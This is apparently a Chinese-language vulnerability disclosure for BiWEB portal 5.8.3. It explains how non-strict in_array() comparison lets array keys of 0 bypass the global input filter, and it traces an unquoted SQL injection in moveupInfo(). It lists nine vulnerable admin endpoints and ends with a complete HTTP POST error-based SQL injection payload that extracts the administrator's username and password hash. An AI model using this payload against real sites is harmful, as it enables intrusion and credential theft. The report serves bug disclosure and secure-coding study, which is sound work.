### 简要描述:
BiWEB最新门户版注入漏洞打包(证明in_array使用不当的危害)
### 详细说明:
在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。
BiWEB在全局过滤时in_array()使用不当,造成全局过滤可以绕过。
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php中
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
然后我们去看看filtrateData(),在/web_common5.8/check.class.php中
```
static function filtrateData(&$ParamValue,$arrHtml){
if (is_array($ParamValue)){
foreach ($ParamValue as $key=>$value){
if(is_array($value)){
check::filtrateData($value,$arrHtml);
}else{
if(v === 'v' || v === '' || strpos(p,v)) exit;
if($key === 'v') {
echo v;exit;
}
if(count($arrHtml)){
if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value);
else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}
}
}else{
$ParamValue = trim($ParamValue);
}
}
```
可以看到,filtrateData()中有这么一句:if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value),其中$arrHtml为$arrGPdoDB['htmlspecialchars'] = array('intro','summary','tag'),也就是说当$key是'intro','summary','tag'中的之一时,就不进行htmlspecialchars编码,也就可以绕过全局过滤了。问题在这里,如果$key等于0时,in_array($key,$arrHtml)将返回ture,也就不进行编码!
通过POST提交一个数组,而数组的key是0,1,2...,如通过POST提交一个名为test的数组,test[]=injection_code&test[]=2,这样就可以利用上面代码中in_array()使用不当造成的注入了。
BiWEB这种漏洞有不少,这里列几个出来
```
/ask/adminu/index.php
/company/adminu/index.php
/exhibition/adminu/index.php
/job/adminu/index.php
/links/adminu/index.php
/news/adminu/index.php
/product/adminu/index.php
/trade/adminu/index.php
/video/adminu/index.php
```
这里以/job/adminu/index.php为例进行证明
```
无关代码
if(isset($_GET['action'])){
if($_GET['action']=='search') {
// 构造搜索条件和翻页参数
$arrLink[] = 'action=search';
if (!empty($_GET['title'])) {
$strKeywords = strval(urldecode($_GET['title']));
if($strKeywords[0] == '/'){
//精确查询ID
$strKeywords = substr($strKeywords,1);
if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
}else{
$arrWhere[] = "tag LIKE '%" . $_GET['title'] . "%'";
}
$arrLink[] = 'title=' . $_GET['title'];
}
if ($_GET['pass'] == '1' || $_GET['pass'] == '0') {
$arrWhere[] = "pass='".$_GET['pass']."'";
$arrLink[] = 'pass=' . $_GET['pass'];
}
if (!empty($_GET['type_id'])) {
$intTypeID = intval($_GET['type_id']);
$arrWhere[] = "type_id='".$intTypeID."' or type_roue_id like '%:$intTypeID:%'";
$arrLink[] = 'type_id='.$intTypeID;
}
} else {
$objWebInit->doInfoAction($_GET['action'],$_POST['select']);
}
}
无关代码
```
当$_GET['action']为'moveup'时,则执行这条语句$objWebInit->doInfoAction($_GET['action'],$_POST['select']),我们再去看看doInfoAction(), 在/web_common5.8/php_common.php中
```
function doInfoAction($strAction=null,$arrData=null,$arrFile=array('photo')){
switch ($strAction){
case 'del':
foreach ($arrData as $key=>$val){
$this->deleteInfo($val,$arrFile);
}
break;
case 'delpic':
foreach ($arrData as $key=>$val){
$this->deleteInfoPic($val,$arrFile);
}
break;
case 'moveup':
foreach ($arrData as $key=>$val){
$this->moveupInfo($val);
}
break;
case 'check':
foreach ($arrData as $key=>$val){
$this->passInfo($val,1);
}
break;
case 'uncheck':
foreach ($arrData as $key=>$val){
$this->passInfo($val,0);
}
break;
case 'settop':
foreach ($arrData as $key=>$val){
$this->topInfo($val,1);
}
break;
case 'unsettop':
foreach ($arrData as $key=>$val){
$this->topInfo($val,0);
}
break;
case 'setrecommend':
foreach ($arrData as $key=>$val){
$this->recommendInfo($val,1);
}
break;
case 'unsetrecommend':
foreach ($arrData as $key=>$val){
$this->recommendInfo($val,0);
}
break;
}
return true;
}
```
再去看看相同文件中的moveupInfo
```
function moveupInfo($intInfoID){
$arrData['submit_date'] = date('Y-m-d H:i:s');
$strWhere = " WHERE `id` = $intInfoID";
return $this->updateDataG($this->tablename2,$arrData,$strWhere);
}
```
可以看到传入的值直接作为id带入了SQL语句,造成了注入。(这里只是拿这个例子来说明in_array()使用不当可以引入单引号,当然这个注入点可以直接用数字型的注入方法注入,可不使用单引号)
单引号这样引入
[<img src="https://images.seebug.org/upload/201411/23220228356f222bff16de5f23e9c84e40827916.jpg" alt="引入单引号副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/23220228356f222bff16de5f23e9c84e40827916.jpg)
成功注入,Payload如下
```
POST /job/adminu/index.php?action=moveup HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/job/adminu/index.php
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; PHPSESSID=fd9mb9gjsot1f9hkrkjttsc954
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
select%5B%5D= 1 or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&select%5B%5D=
```
注入成功,管理员的用户名和密码
[<img src="https://images.seebug.org/upload/201411/23220307da5c3f4261d9c1f070548ab62d390c1a.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/23220307da5c3f4261d9c1f070548ab62d390c1a.jpg)
### 漏洞证明:
见 详细说明
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